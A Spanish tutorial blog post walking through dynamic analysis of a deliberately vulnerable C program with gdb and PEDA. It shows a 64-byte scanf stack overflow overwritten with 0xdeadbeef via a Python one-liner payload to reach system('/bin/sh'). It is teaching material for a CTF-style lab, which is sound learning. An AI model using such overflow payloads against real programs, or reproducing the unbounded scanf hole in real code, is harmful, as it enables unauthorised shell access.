Taller de exploiting: BOF básico en Linux - análisis dinámico (2/2)

En la entrada anterior fuimos capaces de generar nuestro payload para explotar un desbordamiento de buffer básico sólo analizando el código asm generado con objdump. Ahora en esta entrada lo que haremos será realizar un análisis dinámico del mismo binario mediante el debugger de facto en Linux: gdb (The GNU Project Debugger) al que añadiremos PEDA (Python Exploit Development Assistance for GDB) para ampliar sus funcionalidades.

Pero antes de empezar con gdb os recomiendo echar un vistazo a algún cheatsheet como los siguientes:
- https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf
- https://github.com/stmerry/gdb-peda-cheatsheet/blob/master/gdb-peda%20cheatsheet.pdf

Continuando con el ejercicio, lo primero que haremos será cargar el debugger simplemente llamando a nuestro programa vulnerable como parámetro:
$ gdb bof2
GNU gdb (Ubuntu 8.0.1-0ubuntu1) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
Para las instrucciones de informe de errores, vea:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Leyendo símbolos desde bof2...hecho.

Lo que se suele hacer en primer lugar es comprobar las protecciones del binario con el comando checksec:
gdb-peda$ checksec bof2
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

Como se puede observar en el resultado sólo está activado lo siguiente:

- NX (non executable): hace que ningún segmento de la aplicación sea escribible o ejecutable una vez cargado en memoria. Esto significa que aunque logremos alterar el flujo de un programa hacia un shellcode que hayamos cargado en memoria este no se va a ejecutar.
- RELRO (Relocation Read-Only) completo o FULL: mapea toda la GOT (Global Offset Table) a sólo lectura.

Afortunadamente ninguna de estas dos protecciones nos van a impedir desbordar la pila (smash the stack) así que ¡vamos a ello!
 
Si anteriormente volcábamos el código asm con objdump, podemos hacer lo equivalente desensamblando la función main como a continuación:
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x565555cd <+0>:     lea    ecx,[esp+0x4]
   0x565555d1 <+4>:     and    esp,0xfffffff0
   0x565555d4 <+7>:     push   DWORD PTR [ecx-0x4]
   0x565555d7 <+10>:    push   ebp
   0x565555d8 <+11>:    mov    ebp,esp
   0x565555da <+13>:    push   ebx
   0x565555db <+14>:    push   ecx
   0x565555dc <+15>:    sub    esp,0x50
   0x565555df <+18>:    call   0x565554d0 <__x86.get_pc_thunk.bx>
   0x565555e4 <+23>:    add    ebx,0x19e8
   0x565555ea <+29>:    mov    DWORD PTR [ebp-0xc],0x0
   0x565555f1 <+36>:    sub    esp,0x8
   0x565555f4 <+39>:    lea    eax,[ebp-0x4c]
   0x565555f7 <+42>:    push   eax
   0x565555f8 <+43>:    lea    eax,[ebx-0x18ec]
   0x565555fe <+49>:    push   eax
   0x565555ff <+50>:    call   0x56555470 <__isoc99_scanf@plt>
   0x56555604 <+55>:    add    esp,0x10
   0x56555607 <+58>:    cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x5655560e <+65>:    je     0x5655562c <main+95>
   0x56555610 <+67>:    sub    esp,0xc
   0x56555613 <+70>:    lea    eax,[ebx-0x18e9]
   0x56555619 <+76>:    push   eax
   0x5655561a <+77>:    call   0x56555430 <puts@plt>
   0x5655561f <+82>:    add    esp,0x10
   0x56555622 <+85>:    sub    esp,0xc
   0x56555625 <+88>:    push   0x0
   0x56555627 <+90>:    call   0x56555450 <exit@plt>
   0x5655562c <+95>:    sub    esp,0xc
   0x5655562f <+98>:    lea    eax,[ebx-0x18de]
   0x56555635 <+104>:   push   eax
   0x56555636 <+105>:   call   0x56555430 <puts@plt>
   0x5655563b <+110>:   add    esp,0x10
   0x5655563e <+113>:   sub    esp,0xc
   0x56555641 <+116>:   lea    eax,[ebx-0x18d4]
   0x56555647 <+122>:   push   eax
   0x56555648 <+123>:   call   0x56555440 <system@plt>
   0x5655564d <+128>:   add    esp,0x10
   0x56555650 <+131>:   mov    eax,0x0
   0x56555655 <+136>:   lea    esp,[ebp-0x8]
   0x56555658 <+139>:   pop    ecx
   0x56555659 <+140>:   pop    ebx
   0x5655565a <+141>:   pop    ebp
   0x5655565b <+142>:   lea    esp,[ecx-0x4]
   0x5655565e <+145>:   ret
End of assembler dump.

Podemos poner un breakpoint por ejemplo en la instrucción cmp simplemente indicando su offset:
gdb-peda$ break *0x56555607
Punto de interrupción 1 at 0x56555607: file bof2.c, line 11.

gdb-peda$ info b
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x00000607 in main at bof2.c:11

Pero añadiremos otro a continuación de otra forma distinta, así que borramos el que acabamos de crear:
gdb-peda$ del 1

La otra forma de añadir breakpoints es directamente sobre una línea del código fuente, el cuál puede obtenerse fácilmente a través del comando 'list'.
Admite dos parámetros, la línea en la que se empieza a listar y la línea en que queremos que termine, separadas por una coma.
gdb-peda$ list 1,20
1       #include <stdio.h>
2       #include <stdlib.h>
3
4       int main(int argc, const char *argv[])
5       {
6           int correct = 0;
7           char bof[64];
8
9           scanf("%s",bof);
10
11          if(correct != 0xdeadbeef)
12          {
13              puts("you suck!\n");
14              exit(0);
15          }
16          puts("you win!\n");
17          system("/bin/sh");
18
19          return 0;
20      }

Como veis el código fuente se ve perfectamente. Añadimos un breakpoint al inicio de la función:
gdb-peda$ break 6
Punto de interrupción 1 at 0x5ea: file bof2.c, line 6.

y ejecutamos el programa:
gdb-peda$ run
Starting program: ~/BufferOverflows/BOF2/bof2
[----------------------------------registers-----------------------------------]
EAX: 0xf7f90dd8 --> 0xffffd33c --> 0xffffd50f ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
EBX: 0x56556fcc --> 0x1ed4
ECX: 0xffffd2a0 --> 0x1
EDX: 0xffffd2c4 --> 0x0
ESI: 0x1
EDI: 0xf7f8f000 --> 0x1d1d70
EBP: 0xffffd288 --> 0x0
ESP: 0xffffd230 --> 0x0
EIP: 0x565555ea (
:     mov    DWORD PTR [ebp-0xc],0x0) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------]    0x565555dc
:        sub    esp,0x50    0x565555df
:        call   0x565554d0 <__x86 .get_pc_thunk.bx="">    0x565555e4
:        add    ebx,0x19e8 => 0x565555ea
:        mov    DWORD PTR [ebp-0xc],0x0    0x565555f1
:        sub    esp,0x8    0x565555f4
:        lea    eax,[ebp-0x4c]    0x565555f7
:        push   eax    0x565555f8
:        lea    eax,[ebx-0x18ec] [------------------------------------stack-------------------------------------] 0000| 0xffffd230 --> 0x0 0004| 0xffffd234 --> 0xffffd4af ("~/Exploitation/Writeups/BufferOverflows/BOF2/bof2") 0008| 0xffffd238 --> 0xf7e57449 --> 0x7bb7c281 0012| 0xffffd23c --> 0x1 0016| 0xffffd240 --> 0xf7ffca00 --> 0x0 0020| 0xffffd244 --> 0xf7f8f000 --> 0x1d1d70 0024| 0xffffd248 --> 0xf7f8d220 --> 0xf7dd5180 --> 0x11d384e8 0028| 0xffffd24c --> 0xf7dd52f6 --> 0xc589c085 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, main (argc=0x1, argv=0xffffd334) at bof2.c:6 6           int correct = 0;

El programa se detiene en la declaración del entero 'correct' y su inicialización a 0.

A partir de aquí, para ejecutar paso a paso, ponemos 'next'. Cada vez que pongamos 'next', se ejecuta una línea. También podemos decirle al programa que continue hasta el final con 'cont'.

Recordar que en GDB también se pueden abreviar la mayoría si no todos sus comandos:
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xf7f90dd8 --> 0xffffd33c --> 0xffffd50f ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
EBX: 0x56556fcc --> 0x1ed4
ECX: 0xffffd2a0 --> 0x1
EDX: 0xffffd2c4 --> 0x0
ESI: 0x1
EDI: 0xf7f8f000 --> 0x1d1d70
EBP: 0xffffd288 --> 0x0
ESP: 0xffffd230 --> 0x0
EIP: 0x565555f1 (
:     sub    esp,0x8) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------]    0x565555df
:        call   0x565554d0 <__x86 .get_pc_thunk.bx="">    0x565555e4
:        add    ebx,0x19e8    0x565555ea
:        mov    DWORD PTR [ebp-0xc],0x0 => 0x565555f1
:        sub    esp,0x8    0x565555f4
:        lea    eax,[ebp-0x4c]    0x565555f7
:        push   eax    0x565555f8
:        lea    eax,[ebx-0x18ec]    0x565555fe
:        push   eax [------------------------------------stack-------------------------------------] 0000| 0xffffd230 --> 0x0 0004| 0xffffd234 --> 0xffffd4af ("~/BufferOverflows/BOF2/bof2") 0008| 0xffffd238 --> 0xf7e57449 --> 0x7bb7c281 0012| 0xffffd23c --> 0x1 0016| 0xffffd240 --> 0xf7ffca00 --> 0x0 0020| 0xffffd244 --> 0xf7f8f000 --> 0x1d1d70 0024| 0xffffd248 --> 0xf7f8d220 --> 0xf7dd5180 --> 0x11d384e8 0028| 0xffffd24c --> 0xf7dd52f6 --> 0xc589c085 [------------------------------------------------------------------------------] Legend: code, data, rodata, value
           9 scanf("%s",bof);

Observad como va cambiando el flujo de ejecución del programa y el valor de los registros.

Pronto llegamos al punto donde tenemos que insertar la cadena a la función, empezaremos insertando 64 'A's:
gdb-peda$ n

Starting program: ~/BufferOverflows/BOF2/bof2

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x56556fcc --> 0x1ed4
ECX: 0x1
EDX: 0xf7f908a0 --> 0x0
ESI: 0x1
EDI: 0xf7f8f000 --> 0x1d1d70
EBP: 0xffffd288 --> 0x0
ESP: 0xffffd230 --> 0x0
EIP: 0x56555607 (
:     cmp    DWORD PTR [ebp-0xc],0xdeadbeef) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------]    0x565555fe
:        push   eax    0x565555ff
:        call   0x56555470 <__isoc99_scanf plt="">    0x56555604
:        add    esp,0x10 => 0x56555607
:        cmp    DWORD PTR [ebp-0xc],0xdeadbeef    0x5655560e
:        je     0x5655562c
   0x56555610
:        sub    esp,0xc    0x56555613
:        lea    eax,[ebx-0x18e9]    0x56555619
:        push   eax [------------------------------------stack-------------------------------------] 0000| 0xffffd230 --> 0x0 0004| 0xffffd234 --> 0xffffd4af ("~/Exploitation/Writeups/BufferOverflows/BOF2/bof2") 0008| 0xffffd238 --> 0xf7e57449 --> 0x7bb7c281 0012| 0xffffd23c ('A' ) 0016| 0xffffd240 ('A' ) 0020| 0xffffd244 ('A' ) 0024| 0xffffd248 ('A' ) 0028| 0xffffd24c ('A' ) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 11          if(correct != 0xdeadbeef)

Ahora estamos en la condición principal del programa, donde la variable 'correct' (que no puede pasarse como parámetro, solo "desbordarse") tiene que ser igual a 0xdeadbeef.

Inspeccionaremos la memoria para darnos cuenta perfectamente. Podemos usar xw para mostrar words de 32bits (en lugar de 8 para ver más fácilmente los patrones).
gdb-peda$ x/20xhw $esp
0xffffd230:     0x00000000      0xffffd4af      0xf7e57449      0x41414141
0xffffd240:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd250:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd260:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd270:     0x41414141      0x41414141      0x41414141      0x00000000

En la salida se observa que después de las 64 'A's (0x41) el siguiente valor corresponde al valor de la variable 'correct' que se inicializó a 0. Por lo que si lo sobrescribimos y ponemos el valor requerido habremos desbordado la variable 'bof' y conseguido superar el reto.

Por último, vamos a setear un breakpoint en la linea 16 y volver a lanzar el programa con el payload:

gdb-peda$ run <<< $(python -c "print 'A' * 64 + '\xef\xbe\xad\xde'")
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x56556fcc --> 0x1ed4
ECX: 0x1
EDX: 0xf7f908a0 --> 0x0
ESI: 0x1
EDI: 0xf7f8f000 --> 0x1d1d70
EBP: 0xffffd288 --> 0x0
ESP: 0xffffd230 --> 0x0
EIP: 0x5655562c (
:     sub    esp,0xc) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------]    0x56555622
:        sub    esp,0xc    0x56555625
:        push   0x0    0x56555627
:        call   0x56555450 => 0x5655562c
:        sub    esp,0xc    0x5655562f
:        lea    eax,[ebx-0x18de]    0x56555635
:       push   eax    0x56555636
:       call   0x56555430    0x5655563b
:       add    esp,0x10 [------------------------------------stack-------------------------------------] 0000| 0xffffd230 --> 0x0 0004| 0xffffd234 --> 0xffffd4af ("~/Exploitation/Writeups/BufferOverflows/BOF2/bof2") 0008| 0xffffd238 --> 0xf7e57449 --> 0x7bb7c281 0012| 0xffffd23c ('A' , ) 0016| 0xffffd240 ('A' , ) 0020| 0xffffd244 ('A' , ) 0024| 0xffffd248 ('A' , ) 0028| 0xffffd24c ('A' , ) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, main (argc=0xf7ffcc60, argv=0xffffdf81) at bof2.c:16 16          puts("you win!\n");

Si inspeccionamos la memoria comprobaremos que hemos sobrescrito la variable con el valor deseado:

gdb-peda$ x/20xhw $esp
0xffffd230:     0x00000000      0xffffd4af      0xf7e57449      0x41414141
0xffffd240:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd250:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd260:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd270:     0x41414141      0x41414141      0x41414141      0xdeadbeef

Y hasta aquí la primera entrada (dividida en dos partes) de exploiting en Linux básico. En la próxima de esta serie veremos ya como generar patrones aprovechando que tenemos PEDA.

Referencias:
- https://github.com/smholsen/pwnable.kr/tree/master/3-bof
- https://morpheuzblog.wordpress.com/2015/11/18/bof/
- http://www.chuidiang.org/clinux/herramientas/basico/debugger.php

Comentarios